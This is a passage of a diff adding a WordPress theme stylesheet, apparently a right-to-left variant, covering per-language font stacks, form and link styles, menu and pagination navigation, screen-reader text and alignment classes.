+html[lang="zh-TW"] .site * {
+  font-family: -apple-system, BlinkMacSystemFont, 'PingFang TC', 'Helvetica Neue', "Microsoft YaHei New", STHeiti Light, sans-serif !important;
+}
+
+/* Chinese (China) */
+html[lang="zh-CN"] .site * {
+  font-family: -apple-system, BlinkMacSystemFont, 'PingFang SC', 'Helvetica Neue', "Microsoft YaHei New", STHeiti Light, sans-serif !important;
+}
+
+/* Devanagari */
+html[lang="bn-BD"] .site *,
+html[lang="hi-IN"] .site *,
+html[lang="mr"] .site *,
+html[lang="ne-NP"] .site * {
+  font-family: Arial, sans-serif !important;
+}
+
+/* Greek */
+html[lang="el"] .site * {
+  font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif !important;
+}
+
+/* Gujarati */
+html[lang="gu"] .site * {
+  font-family: Arial, sans-serif !important;
+}
+
+/* Hebrew */
+html[lang="he-IL"] .site * {
+  font-family: 'Arial Hebrew', Arial, sans-serif !important;
+}
+
+/* Japanese */
+html[lang="ja"] .site * {
+  font-family: -apple-system, BlinkMacSystemFont, "Hiragino Sans", Meiryo, "Helvetica Neue", sans-serif !important;
+}
+
+/* Korean */
+html[lang="ko-KR"] .site * {
+  font-family: 'Apple SD Gothic Neo', 'Malgun Gothic', 'Nanum Gothic', Dotum, sans-serif !important;
+}
+
+/* Thai */
+html[lang="th"] .site * {
+  font-family: 'Sukhumvit Set', 'Helvetica Neue', helvetica, arial, sans-serif !important;
+}
+
+/* Vietnamese */
+html[lang="vi"] .site * {
+  font-family: 'Libre Franklin', sans-serif !important;
+}
+
+/* Elements */
+html {
+  box-sizing: border-box;
+}
+
+::-moz-selection {
+  background-color: #bfdcea;
+}
+
+::selection {
+  background-color: #bfdcea;
+}
+
+*,
+*:before,
+*:after {
+  box-sizing: inherit;
+}
+
+body {
+  background-color: #fff;
+}
+
+a {
+  transition: color 110ms ease-in-out;
+  color: #0073aa;
+}
+
+a:hover,
+a:active {
+  color: #005177;
+  outline: 0;
+  text-decoration: none;
+}
+
+a:focus {
+  outline: thin;
+  outline-style: dotted;
+  text-decoration: underline;
+}
+
+h1,
+h2,
+h3,
+h4,
+h5,
+h6 {
+  clear: both;
+  margin: 1rem 0;
+}
+
+h1:not(.site-title):before,
+h2:before {
+  background: #767676;
+  content: "\020";
+  display: block;
+  height: 2px;
+  margin: 1rem 0;
+  width: 1em;
+}
+
+hr {
+  background-color: #767676;
+  border: 0;
+  height: 2px;
+}
+
+ul,
+ol {
+  padding-right: 1rem;
+}
+
+ul {
+  list-style: disc;
+}
+
+ul ul {
+  list-style-type: circle;
+}
+
+ol {
+  list-style: decimal;
+}
+
+li {
+  line-height: 1.8;
+}
+
+li > ul,
+li > ol {
+  padding-right: 2rem;
+}
+
+dt {
+  font-weight: bold;
+}
+
+dd {
+  margin: 0 1rem 1rem;
+}
+
+img {
+  height: auto;
+  max-width: 100%;
+  position: relative;
+}
+
+figure {
+  margin: 0;
+}
+
+blockquote {
+  border-right: 2px solid #0073aa;
+  margin-right: 0;
+  padding: 0 1rem 0 0;
+}
+
+blockquote > p {
+  margin: 0 0 1rem;
+}
+
+blockquote cite {
+  color: #767676;
+}
+
+table {
+  margin: 0 0 1rem;
+  border-collapse: collapse;
+  width: 100%;
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+}
+
+table td,
+table th {
+  padding: 0.5em;
+  border: 1px solid #767676;
+  word-break: break-all;
+}
+
+/* Forms */
+.button,
+button,
+input[type="button"],
+input[type="reset"],
+input[type="submit"] {
+  transition: background 150ms ease-in-out;
+  background: #0073aa;
+  border: none;
+  border-radius: 5px;
+  box-sizing: border-box;
+  color: #fff;
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+  font-size: 0.88889em;
+  font-weight: 700;
+  line-height: 1.2;
+  outline: none;
+  padding: 0.76rem 1rem;
+  text-decoration: none;
+  vertical-align: bottom;
+}
+
+.button:hover,
+button:hover,
+input[type="button"]:hover,
+input[type="reset"]:hover,
+input[type="submit"]:hover {
+  background: #111;
+  cursor: pointer;
+}
+
+.button:visited,
+button:visited,
+input[type="button"]:visited,
+input[type="reset"]:visited,
+input[type="submit"]:visited {
+  color: #fff;
+  text-decoration: none;
+}
+
+.button:focus,
+button:focus,
+input[type="button"]:focus,
+input[type="reset"]:focus,
+input[type="submit"]:focus {
+  background: #111;
+  outline: thin dotted;
+  outline-offset: -4px;
+}
+
+input[type="text"],
+input[type="email"],
+input[type="url"],
+input[type="password"],
+input[type="search"],
+input[type="number"],
+input[type="tel"],
+input[type="range"],
+input[type="date"],
+input[type="month"],
+input[type="week"],
+input[type="time"],
+input[type="datetime"],
+input[type="datetime-local"],
+input[type="color"],
+textarea {
+  -webkit-backface-visibility: hidden;
+  background: #fff;
+  border: solid 1px #ccc;
+  box-sizing: border-box;
+  outline: none;
+  padding: 0.36rem 0.66rem;
+  -webkit-appearance: none;
+  outline-offset: 0;
+  border-radius: 0;
+}
+
+input[type="text"]:focus,
+input[type="email"]:focus,
+input[type="url"]:focus,
+input[type="password"]:focus,
+input[type="search"]:focus,
+input[type="number"]:focus,
+input[type="tel"]:focus,
+input[type="range"]:focus,
+input[type="date"]:focus,
+input[type="month"]:focus,
+input[type="week"]:focus,
+input[type="time"]:focus,
+input[type="datetime"]:focus,
+input[type="datetime-local"]:focus,
+input[type="color"]:focus,
+textarea:focus {
+  border-color: #0073aa;
+  outline: thin solid rgba(0, 115, 170, 0.15);
+  outline-offset: -4px;
+}
+
+input[type="search"]::-webkit-search-decoration {
+  display: none;
+}
+
+textarea {
+  box-sizing: border-box;
+  display: block;
+  width: 100%;
+  max-width: 100%;
+  resize: vertical;
+}
+
+form p {
+  margin: 1rem 0;
+}
+
+/* Navigation */
+/*--------------------------------------------------------------
+## Links
+--------------------------------------------------------------*/
+a {
+  transition: color 110ms ease-in-out;
+  color: #0073aa;
+}
+
+a:visited {
+  color: #0073aa;
+}
+
+a:hover, a:active {
+  color: #005177;
+  outline: 0;
+  text-decoration: none;
+}
+
+a:focus {
+  outline: thin dotted;
+  text-decoration: underline;
+}
+
+/*--------------------------------------------------------------
+## Menus
+--------------------------------------------------------------*/
+/** === Main menu === */
+.main-navigation {
+  display: block;
+  margin-top: 0.25rem;
+  /* Un-style buttons */
+  /*
+	 * Sub-menu styles
+	 *
+	 * :focus-within needs its own selector so other similar
+	 * selectors don’t get ignored if a browser doesn’t recognize it
+	 */
+  /**
+	 * Fade-in animation for top-level submenus
+	 */
+  /**
+	 * Off-canvas touch device styles
+	 */
+}
+
+body.page .main-navigation {
+  display: block;
+}
+
+.main-navigation > div {
+  display: inline;
+}
+
+.main-navigation button {
+  display: inline-block;
+  border: none;
+  padding: 0;
+  margin: 0;
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+  font-weight: 700;
+  line-height: 1.2;
+  text-decoration: none;
+  background: transparent;
+  color: inherit;
+  cursor: pointer;
+  transition: background 250ms ease-in-out, transform 150ms ease;
+  -webkit-appearance: none;
+  -moz-appearance: none;
+}
+
+.main-navigation button:hover, .main-navigation button:focus {
+  background: transparent;
+}
+
+.main-navigation button:focus {
+  outline: 1px solid transparent;
+  outline-offset: -4px;
+}
+
+.main-navigation button:active {
+  transform: scale(0.99);
+}
+
+.main-navigation .main-menu {
+  display: inline-block;
+  margin: 0;
+  padding: 0;
+}
+
+.main-navigation .main-menu > li {
+  color: #0073aa;
+  display: inline;
+  position: relative;
+}
+
+.main-navigation .main-menu > li > a {
+  font-weight: 700;
+  color: #0073aa;
+  margin-left: 0.5rem;
+}
+
+.main-navigation .main-menu > li > a + svg {
+  margin-left: 0.5rem;
+}
+
+.main-navigation .main-menu > li > a:hover,
+.main-navigation .main-menu > li > a:hover + svg {
+  color: #005177;
+}
+
+.main-navigation .main-menu > li.menu-item-has-children {
+  display: inline-block;
+  position: inherit;
+}
+
+@media only screen and (min-width: 768px) {
+  .main-navigation .main-menu > li.menu-item-has-children {
+    position: relative;
+  }
+}
+
+.main-navigation .main-menu > li.menu-item-has-children > a {
+  margin-left: 0.125rem;
+}
+
+.main-navigation .main-menu > li.menu-item-has-children > a:after,
+.main-navigation .main-menu > li.menu-item-has-children .menu-item-has-children > a:after {
+  content: "";
+  display: none;
+}
+
+.main-navigation .main-menu > li.menu-item-has-children .submenu-expand {
+  display: inline-block;
+  margin-left: 0.25rem;
+  /* Priority+ Menu */
+}
+
+.main-navigation .main-menu > li.menu-item-has-children .submenu-expand.main-menu-more-toggle {
+  position: relative;
+  height: 24px;
+  line-height: 1.2;
+  width: 24px;
+  padding: 0;
+  margin-right: 0.5rem;
+}
+
+.main-navigation .main-menu > li.menu-item-has-children .submenu-expand.main-menu-more-toggle svg {
+  height: 24px;
+  width: 24px;
+  top: -0.125rem;
+  vertical-align: text-bottom;
+}
+
+.wp-customizer-unloading .main-navigation .main-menu > li.menu-item-has-children .submenu-expand, .main-navigation .main-menu > li.menu-item-has-children .submenu-expand.is-empty {
+  display: none;
+}
+
+.main-navigation .main-menu > li.menu-item-has-children .submenu-expand svg {
+  position: relative;
+  top: 0.2rem;
+}
+
+.main-navigation .main-menu > li:last-child > a,
+.main-navigation .main-menu > li:last-child.menu-item-has-children .submenu-expand {
+  margin-left: 0;
+}
+
+.main-navigation .sub-menu {
+  background-color: #0073aa;
+  color: #fff;
+  list-style: none;
+  padding-right: 0;
+  position: absolute;
+  opacity: 0;
+  right: -9999px;
+  z-index: 99999;
+}
+
+@media only screen and (min-width: 768px) {
+  .main-navigation .sub-menu {
+    width: auto;
+    min-width: -moz-max-content;
+    min-width: -webkit-max-content;
+    min-width: max-content;
+  }
+}
+
+.main-navigation .sub-menu > li {
+  display: block;
+  float: none;
+  position: relative;
+}
+
+.main-navigation .sub-menu > li.menu-item-has-children .submenu-expand {
+  display: inline-block;
+  position: absolute;
+  width: calc( 24px + 1rem);
+  left: 0;
+  top: calc( .125 * 1rem);
+  bottom: 0;
+  color: white;
+  line-height: 1;
+  padding: calc( .5 * 1rem);
+}
+
+.main-navigation .sub-menu > li.menu-item-has-children .submenu-expand svg {
+  top: 0;
+}
+
+.main-navigation .sub-menu > li.menu-item-has-children .submenu-expand {
+  margin-left: 0;
+}
+
+@media only screen and (min-width: 768px) {
+  .main-navigation .sub-menu > li.menu-item-has-children .menu-item-has-children > a:after {
+    content: "\203a";
+  }
+}
+
+.main-navigation .sub-menu > li > a,
+.main-navigation .sub-menu > li > .menu-item-link-return {
+  color: #fff;
+  display: block;
+  line-height: 1.2;
+  text-shadow: none;
+  padding: calc( .5 * 1rem) 1rem calc( .5 * 1rem) calc( 24px + 1rem);
+  white-space: nowrap;
+}
+
+.main-navigation .sub-menu > li > a:hover, .main-navigation .sub-menu > li > a:focus,
+.main-navigation .sub-menu > li > .menu-item-link-return:hover,
+.main-navigation .sub-menu > li > .menu-item-link-return:focus {
+  background: #005177;
+}
+
+.main-navigation .sub-menu > li > a:hover:after, .main-navigation .sub-menu > li > a:focus:after,
+.main-navigation .sub-menu > li > .menu-item-link-return:hover:after,
+.main-navigation .sub-menu > li > .menu-item-link-return:focus:after {
+  background: #005177;
+}
+
+.main-navigation .sub-menu > li > .menu-item-link-return {
+  width: 100%;
+  font-size: 22px;
+  font-weight: normal;
+  text-align: right;
+}
+
+.main-navigation .sub-menu > li > a:empty {
+  display: none;
+}
+
+.main-navigation .sub-menu > li.mobile-parent-nav-menu-item {
+  display: none;
+  font-size: 0.88889em;
+  font-weight: normal;
+}
+
+.main-navigation .sub-menu > li.mobile-parent-nav-menu-item svg {
+  position: relative;
+  top: 0.2rem;
+  margin-left: calc( .25 * 1rem);
+}
+
+.main-navigation .main-menu .menu-item-has-children:not(.off-canvas)[focus-within] > .sub-menu {
+  display: block;
+  right: 0;
+  margin-top: 0;
+  opacity: 1;
+  width: auto;
+  min-width: 100%;
+  /* Non-mobile position */
+  /* Nested sub-menu dashes */
+}
+
+.main-navigation .main-menu .menu-item-has-children:not(.off-canvas):focus-within > .sub-menu {
+  display: block;
+  right: 0;
+  margin-top: 0;
+  opacity: 1;
+  width: auto;
+  min-width: 100%;
+  /* Non-mobile position */
+  /* Nested sub-menu dashes */
+}
+
+@media only screen and (min-width: 768px) {
+  .main-navigation .main-menu .menu-item-has-children:not(.off-canvas)[focus-within] > .sub-menu {
+    display: block;
+    margin-top: 0;
+    opacity: 1;
+    position: absolute;
+    right: 0;
+    left: auto;
+    top: auto;
+    bottom: auto;
+    height: auto;
+    min-width: -moz-max-content;
+    min-width: -webkit-max-content;
+    min-width: max-content;
+    transform: none;
+  }
+  .main-navigation .main-menu .menu-item-has-children:not(.off-canvas):focus-within > .sub-menu {
+    display: block;
+    margin-top: 0;
+    opacity: 1;
+    position: absolute;
+    right: 0;
+    left: auto;
+    top: auto;
+    bottom: auto;
+    height: auto;
+    min-width: -moz-max-content;
+    min-width: -webkit-max-content;
+    min-width: max-content;
+    transform: none;
+  }
+}
+
+.main-navigation .main-menu .menu-item-has-children:not(.off-canvas)[focus-within] > .sub-menu.hidden-links {
+  right: 0;
+  width: 100%;
+  display: table;
+  position: absolute;
+}
+
+.main-navigation .main-menu .menu-item-has-children:not(.off-canvas):focus-within > .sub-menu.hidden-links {
+  right: 0;
+  width: 100%;
+  display: table;
+  position: absolute;
+}
+
+@media only screen and (min-width: 768px) {
+  .main-navigation .main-menu .menu-item-has-children:not(.off-canvas)[focus-within] > .sub-menu.hidden-links {
+    left: 0;
+    right: auto;
+    display: block;
+    width: max-content;
+  }
+  .main-navigation .main-menu .menu-item-has-children:not(.off-canvas):focus-within > .sub-menu.hidden-links {
+    left: 0;
+    right: auto;
+    display: block;
+    width: max-content;
+  }
+}
+
+.main-navigation .main-menu .menu-item-has-children:not(.off-canvas)[focus-within] > .sub-menu .submenu-expand {
+  display: none;
+}
+
+.main-navigation .main-menu .menu-item-has-children:not(.off-canvas):focus-within > .sub-menu .submenu-expand {
+  display: none;
+}
+
+.main-navigation .main-menu .menu-item-has-children:not(.off-canvas)[focus-within] > .sub-menu .sub-menu {
+  display: block;
+  margin-top: inherit;
+  position: relative;
+  width: 100%;
+  right: 0;
+  opacity: 1;
+  /* Non-mobile position */
+}
+
+.main-navigation .main-menu .menu-item-has-children:not(.off-canvas):focus-within > .sub-menu .sub-menu {
+  display: block;
+  margin-top: inherit;
+  position: relative;
+  width: 100%;
+  right: 0;
+  opacity: 1;
+  /* Non-mobile position */
+}
+
+@media only screen and (min-width: 768px) {
+  .main-navigation .main-menu .menu-item-has-children:not(.off-canvas)[focus-within] > .sub-menu .sub-menu {
+    float: none;
+    max-width: 100%;
+  }
+  .main-navigation .main-menu .menu-item-has-children:not(.off-canvas):focus-within > .sub-menu .sub-menu {
+    float: none;
+    max-width: 100%;
+  }
+}
+
+.main-navigation .main-menu .menu-item-has-children:not(.off-canvas)[focus-within] > .sub-menu .sub-menu {
+  counter-reset: submenu;
+}
+
+.main-navigation .main-menu .menu-item-has-children:not(.off-canvas):focus-within > .sub-menu .sub-menu {
+  counter-reset: submenu;
+}
+
+.main-navigation .main-menu .menu-item-has-children:not(.off-canvas)[focus-within] > .sub-menu .sub-menu > li > a::before {
+  font-family: "NonBreakingSpaceOverride", "Hoefler Text", "Baskerville Old Face", Garamond, "Times New Roman", serif;
+  font-weight: normal;
+  content: "– " counters(submenu, "– ", none);
+  counter-increment: submenu;
+}
+
+.main-navigation .main-menu .menu-item-has-children:not(.off-canvas):focus-within > .sub-menu .sub-menu > li > a::before {
+  font-family: "NonBreakingSpaceOverride", "Hoefler Text", "Baskerville Old Face", Garamond, "Times New Roman", serif;
+  font-weight: normal;
+  content: "– " counters(submenu, "– ", none);
+  counter-increment: submenu;
+}
+
+.main-navigation .main-menu .menu-item-has-children:not(.off-canvas):hover > .sub-menu,
+.main-navigation .main-menu .menu-item-has-children:not(.off-canvas):focus > .sub-menu,
+.main-navigation .main-menu .menu-item-has-children.is-focused:not(.off-canvas) > .sub-menu {
+  display: block;
+  right: 0;
+  margin-top: 0;
+  opacity: 1;
+  width: auto;
+  min-width: 100%;
+  /* Non-mobile position */
+  /* Nested sub-menu dashes */
+}
+
+@media only screen and (min-width: 768px) {
+  .main-navigation .main-menu .menu-item-has-children:not(.off-canvas):hover > .sub-menu,
+  .main-navigation .main-menu .menu-item-has-children:not(.off-canvas):focus > .sub-menu,
+  .main-navigation .main-menu .menu-item-has-children.is-focused:not(.off-canvas) > .sub-menu {
+    display: block;
+    float: none;
+    margin-top: 0;
+    opacity: 1;
+    position: absolute;
+    right: 0;
+    left: auto;
+    top: auto;
+    bottom: auto;
+    height: auto;
+    min-width: -moz-max-content;
+    min-width: -webkit-max-content;
+    min-width: max-content;
+    transform: none;
+  }
+}
+
+.main-navigation .main-menu .menu-item-has-children:not(.off-canvas):hover > .sub-menu.hidden-links,
+.main-navigation .main-menu .menu-item-has-children:not(.off-canvas):focus > .sub-menu.hidden-links,
+.main-navigation .main-menu .menu-item-has-children.is-focused:not(.off-canvas) > .sub-menu.hidden-links {
+  right: 0;
+  width: 100%;
+  display: table;
+  position: absolute;
+}
+
+@media only screen and (min-width: 768px) {
+  .main-navigation .main-menu .menu-item-has-children:not(.off-canvas):hover > .sub-menu.hidden-links,
+  .main-navigation .main-menu .menu-item-has-children:not(.off-canvas):focus > .sub-menu.hidden-links,
+  .main-navigation .main-menu .menu-item-has-children.is-focused:not(.off-canvas) > .sub-menu.hidden-links {
+    left: 0;
+    right: auto;
+    display: table;
+    width: max-content;
+  }
+}
+
+.main-navigation .main-menu .menu-item-has-children:not(.off-canvas):hover > .sub-menu .submenu-expand,
+.main-navigation .main-menu .menu-item-has-children:not(.off-canvas):focus > .sub-menu .submenu-expand,
+.main-navigation .main-menu .menu-item-has-children.is-focused:not(.off-canvas) > .sub-menu .submenu-expand {
+  display: none;
+}
+
+.main-navigation .main-menu .menu-item-has-children:not(.off-canvas):hover > .sub-menu .sub-menu,
+.main-navigation .main-menu .menu-item-has-children:not(.off-canvas):focus > .sub-menu .sub-menu,
+.main-navigation .main-menu .menu-item-has-children.is-focused:not(.off-canvas) > .sub-menu .sub-menu {
+  display: block;
+  margin-top: inherit;
+  position: relative;
+  width: 100%;
+  right: 0;
+  opacity: 1;
+  /* Non-mobile position */
+}
+
+@media only screen and (min-width: 768px) {
+  .main-navigation .main-menu .menu-item-has-children:not(.off-canvas):hover > .sub-menu .sub-menu,
+  .main-navigation .main-menu .menu-item-has-children:not(.off-canvas):focus > .sub-menu .sub-menu,
+  .main-navigation .main-menu .menu-item-has-children.is-focused:not(.off-canvas) > .sub-menu .sub-menu {
+    float: none;
+    max-width: 100%;
+  }
+}
+
+.main-navigation .main-menu .menu-item-has-children:not(.off-canvas):hover > .sub-menu .sub-menu,
+.main-navigation .main-menu .menu-item-has-children:not(.off-canvas):focus > .sub-menu .sub-menu,
+.main-navigation .main-menu .menu-item-has-children.is-focused:not(.off-canvas) > .sub-menu .sub-menu {
+  counter-reset: submenu;
+}
+
+.main-navigation .main-menu .menu-item-has-children:not(.off-canvas):hover > .sub-menu .sub-menu > li > a::before,
+.main-navigation .main-menu .menu-item-has-children:not(.off-canvas):focus > .sub-menu .sub-menu > li > a::before,
+.main-navigation .main-menu .menu-item-has-children.is-focused:not(.off-canvas) > .sub-menu .sub-menu > li > a::before {
+  font-family: "NonBreakingSpaceOverride", "Hoefler Text", "Baskerville Old Face", Garamond, "Times New Roman", serif;
+  font-weight: normal;
+  content: "– " counters(submenu, "– ", none);
+  counter-increment: submenu;
+}
+
+.main-navigation .main-menu > .menu-item-has-children:not(.off-canvas):hover > .sub-menu {
+  animation: fade_in 0.1s forwards;
+}
+
+.main-navigation .main-menu .menu-item-has-children.off-canvas .sub-menu .submenu-expand .svg-icon {
+  transform: rotate(-270deg);
+}
+
+.main-navigation .main-menu .menu-item-has-children.off-canvas .sub-menu .sub-menu {
+  opacity: 0;
+  position: absolute;
+  z-index: 0;
+  transform: translateX(100%);
+}
+
+.main-navigation .main-menu .menu-item-has-children.off-canvas .sub-menu li:hover,
+.main-navigation .main-menu .menu-item-has-children.off-canvas .sub-menu li:focus,
+.main-navigation .main-menu .menu-item-has-children.off-canvas .sub-menu li > a:hover,
+.main-navigation .main-menu .menu-item-has-children.off-canvas .sub-menu li > a:focus {
+  background-color: transparent;
+}
+
+.main-navigation .main-menu .menu-item-has-children.off-canvas .sub-menu > li > a,
+.main-navigation .main-menu .menu-item-has-children.off-canvas .sub-menu > li > .menu-item-link-return {
+  white-space: inherit;
+}
+
+.main-navigation .main-menu .menu-item-has-children.off-canvas .sub-menu.expanded-true {
+  display: table;
+  margin-top: 0;
+  opacity: 1;
+  padding-right: 0;
+  /* Mobile position */
+  right: 0;
+  top: 0;
+  left: 0;
+  bottom: 0;
+  position: fixed;
+  z-index: 100000;
+  /* Make sure appears above mobile admin bar */
+  width: 100vw;
+  height: 100vh;
+  max-width: 100vw;
+  transform: translateX(-100%);
+  animation: slide_in_right 0.3s forwards;
+  /* Prevent menu from being blocked by admin bar */
+}
+
+.main-navigation .main-menu .menu-item-has-children.off-canvas .sub-menu.expanded-true > .mobile-parent-nav-menu-item {
+  display: block;
+}
+
+.admin-bar .main-navigation .main-menu .menu-item-has-children.off-canvas .sub-menu.expanded-true {
+  top: 46px;
+  height: calc( 100vh - 46px);
+  /* WP core breakpoint */
+}
+
+.admin-bar .main-navigation .main-menu .menu-item-has-children.off-canvas .sub-menu.expanded-true .sub-menu.expanded-true {
+  top: 0;
+}
+
+@media only screen and (min-width: 782px) {
+  .admin-bar .main-navigation .main-menu .menu-item-has-children.off-canvas .sub-menu.expanded-true {
+    top: 32px;
+    height: calc( 100vh - 32px);
+  }
+  .admin-bar .main-navigation .main-menu .menu-item-has-children.off-canvas .sub-menu.expanded-true .sub-menu.expanded-true {
+    top: 0;
+  }
+}
+
+.main-navigation .main-menu-more:nth-child(n+3) {
+  display: none;
+}
+
+/* Menu animation */
+@keyframes slide_in_right {
+  100% {
+    transform: translateX(0%);
+  }
+}
+
+@keyframes fade_in {
+  from {
+    opacity: 0;
+  }
+  to {
+    opacity: 1;
+  }
+}
+
+/* Social menu */
+.social-navigation {
+  margin-top: calc(1rem / 2);
+  text-align: right;
+}
+
+.social-navigation ul.social-links-menu {
+  content: "";
+  display: table;
+  table-layout: fixed;
+  display: inline-block;
+  margin: 0;
+  padding: 0;
+}
+
+.social-navigation ul.social-links-menu li {
+  display: inline-block;
+  vertical-align: bottom;
+  vertical-align: -webkit-baseline-middle;
+  list-style: none;
+}
+
+.social-navigation ul.social-links-menu li:nth-child(n+2) {
+  margin-right: 0.1em;
+}
+
+.social-navigation ul.social-links-menu li a {
+  border-bottom: 1px solid transparent;
+  display: block;
+  color: #111;
+  margin-bottom: -1px;
+  transition: opacity 110ms ease-in-out;
+}
+
+.social-navigation ul.social-links-menu li a:hover, .social-navigation ul.social-links-menu li a:active {
+  color: #111;
+  opacity: 0.6;
+}
+
+.social-navigation ul.social-links-menu li a:focus {
+  color: #111;
+  opacity: 1;
+  border-bottom: 1px solid #111;
+}
+
+.social-navigation ul.social-links-menu li a svg {
+  display: block;
+  width: 32px;
+  height: 32px;
+  transform: translateZ(0);
+}
+
+.social-navigation ul.social-links-menu li a svg#ui-icon-link {
+  transform: rotate(45deg);
+}
+
+@media only screen and (min-width: 768px) {
+  .site-title + .social-navigation,
+  .site-description + .social-navigation {
+    margin-top: calc(1rem / 5);
+  }
+}
+
+/** === Footer menu === */
+.footer-navigation {
+  display: inline;
+}
+
+.footer-navigation > div {
+  display: inline;
+}
+
+.footer-navigation .footer-menu {
+  display: inline;
+  padding-right: 0;
+}
+
+.footer-navigation .footer-menu li {
+  display: inline;
+  margin-left: 1rem;
+}
+
+/*--------------------------------------------------------------
+## Next / Previous
+--------------------------------------------------------------*/
+/* Next/Previous navigation */
+.post-navigation {
+  margin: calc(3 * 1rem) 0;
+}
+
+@media only screen and (min-width: 768px) {
+  .post-navigation {
+    margin: calc(3 * 1rem) calc(10% + 60px);
+    max-width: calc(6 * (100vw / 12));
+  }
+}
+
+@media only screen and (min-width: 1168px) {
+  .post-navigation {
+    margin: calc(3 * 1rem) 0;
+    max-width: 100%;
+  }
+}
+
+.post-navigation .nav-links {
+  margin: 0 1rem;
+  max-width: 100%;
+  display: flex;
+  flex-direction: column;
+}
+
+@media only screen and (min-width: 768px) {
+  .post-navigation .nav-links {
+    margin: 0;
+  }
+}
+
+@media only screen and (min-width: 1168px) {
+  .post-navigation .nav-links {
+    flex-direction: row;
+    margin: 0 calc(10% + 60px);
+    max-width: calc(6 * (100vw / 12) - 28px);
+  }
+}
+
+.post-navigation .nav-links a .meta-nav {
+  color: #767676;
+  user-select: none;
+}
+
+.post-navigation .nav-links a .meta-nav:before, .post-navigation .nav-links a .meta-nav:after {
+  display: none;
+  content: "—";
+  width: 2em;
+  color: #767676;
+  height: 1em;
+}
+
+.post-navigation .nav-links a .post-title {
+  hyphens: auto;
+}
+
+.post-navigation .nav-links a:hover {
+  color: #005177;
+}
+
+@media only screen and (min-width: 1168px) {
+  .post-navigation .nav-links .nav-previous,
+  .post-navigation .nav-links .nav-next {
+    min-width: calc(50% - 2 * 1rem);
+  }
+}
+
+.post-navigation .nav-links .nav-previous {
+  order: 2;
+}
+
+@media only screen and (min-width: 1168px) {
+  .post-navigation .nav-links .nav-previous {
+    order: 1;
+  }
+}
+
+.post-navigation .nav-links .nav-previous + .nav-next {
+  margin-bottom: 1rem;
+}
+
+.post-navigation .nav-links .nav-previous .meta-nav:before {
+  display: inline;
+}
+
+.post-navigation .nav-links .nav-next {
+  order: 1;
+}
+
+@media only screen and (min-width: 1168px) {
+  .post-navigation .nav-links .nav-next {
+    order: 2;
+    padding-right: 1rem;
+  }
+}
+
+.post-navigation .nav-links .nav-next .meta-nav:after {
+  display: inline;
+}
+
+.pagination .nav-links {
+  display: flex;
+  flex-wrap: wrap;
+  padding: 0 calc(.5 * 1rem);
+}
+
+.pagination .nav-links > * {
+  padding: calc(.5 * 1rem);
+}
+
+.pagination .nav-links > *.dots, .pagination .nav-links > *.prev {
+  padding-right: 0;
+}
+
+.pagination .nav-links > *.dots, .pagination .nav-links > *.next {
+  padding-left: 0;
+}
+
+.pagination .nav-links a:focus {
+  text-decoration: underline;
+  outline-offset: -1px;
+}
+
+.pagination .nav-links a:focus.prev, .pagination .nav-links a:focus.next {
+  text-decoration: none;
+}
+
+.pagination .nav-links a:focus.prev .nav-prev-text,
+.pagination .nav-links a:focus.prev .nav-next-text, .pagination .nav-links a:focus.next .nav-prev-text,
+.pagination .nav-links a:focus.next .nav-next-text {
+  text-decoration: underline;
+}
+
+.pagination .nav-links .nav-next-text,
+.pagination .nav-links .nav-prev-text {
+  display: none;
+}
+
+@media only screen and (min-width: 768px) {
+  .pagination .nav-links {
+    margin-right: calc(10% + 60px);
+    padding: 0;
+  }
+  .pagination .nav-links .prev > *,
+  .pagination .nav-links .next > * {
+    display: inline-block;
+    vertical-align: text-bottom;
+  }
+  .pagination .nav-links > * {
+    padding: 1rem;
+  }
+}
+
+.comment-navigation .nav-links {
+  display: flex;
+  flex-direction: row;
+}
+
+.comment-navigation .nav-previous,
+.comment-navigation .nav-next {
+  min-width: 50%;
+  width: 100%;
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+  font-weight: bold;
+}
+
+.comment-navigation .nav-previous .secondary-text,
+.comment-navigation .nav-next .secondary-text {
+  display: none;
+}
+
+@media only screen and (min-width: 768px) {
+  .comment-navigation .nav-previous .secondary-text,
+  .comment-navigation .nav-next .secondary-text {
+    display: inline;
+  }
+}
+
+.comment-navigation .nav-previous svg,
+.comment-navigation .nav-next svg {
+  vertical-align: middle;
+  position: relative;
+  margin: 0 -0.35em;
+  top: -1px;
+}
+
+.comment-navigation .nav-next {
+  text-align: left;
+}
+
+/* Accessibility */
+/* Text meant only for screen readers. */
+.screen-reader-text {
+  border: 0;
+  clip: rect(1px, 1px, 1px, 1px);
+  clip-path: inset(50%);
+  height: 1px;
+  margin: -1px;
+  overflow: hidden;
+  padding: 0;
+  position: absolute !important;
+  width: 1px;
+  word-wrap: normal !important;
+  /* Many screen reader and browser combinations announce broken words as they would appear visually. */
+}
+
+.screen-reader-text:focus {
+  background-color: #f1f1f1;
+  border-radius: 3px;
+  box-shadow: 0 0 2px 2px rgba(0, 0, 0, 0.6);
+  clip: auto !important;
+  clip-path: none;
+  color: #21759b;
+  display: block;
+  font-size: 14px;
+  font-size: 0.875rem;
+  font-weight: bold;
+  height: auto;
+  right: 5px;
+  line-height: normal;
+  padding: 15px 23px 14px;
+  text-decoration: none;
+  top: 5px;
+  width: auto;
+  z-index: 100000;
+  /* Above WP toolbar. */
+}
+
+/* Do not show the outline on the skip link target. */
+#content[tabindex="-1"]:focus {
+  outline: 0;
+}
+
+/* Alignments */
+.alignleft {
+  float: left;
+  margin-right: 1rem;
+}
+
+@media only screen and (min-width: 768px) {
+  .alignleft {
+    margin-right: calc(2 * 1rem);
+  }
+}
+
+.alignright {
+  float: right;
+  margin-left: 1rem;
+}
+
+@media only screen and (min-width: 768px) {
+  .alignright {
+    margin-left: calc(2 * 1rem);
+  }
+}
+
+.aligncenter {
+  clear: both;
+  display: block;
+  margin-right: auto;
+  margin-left: auto;
+}
+
+/* Clearings */
+.clear:before,
+.clear:after,
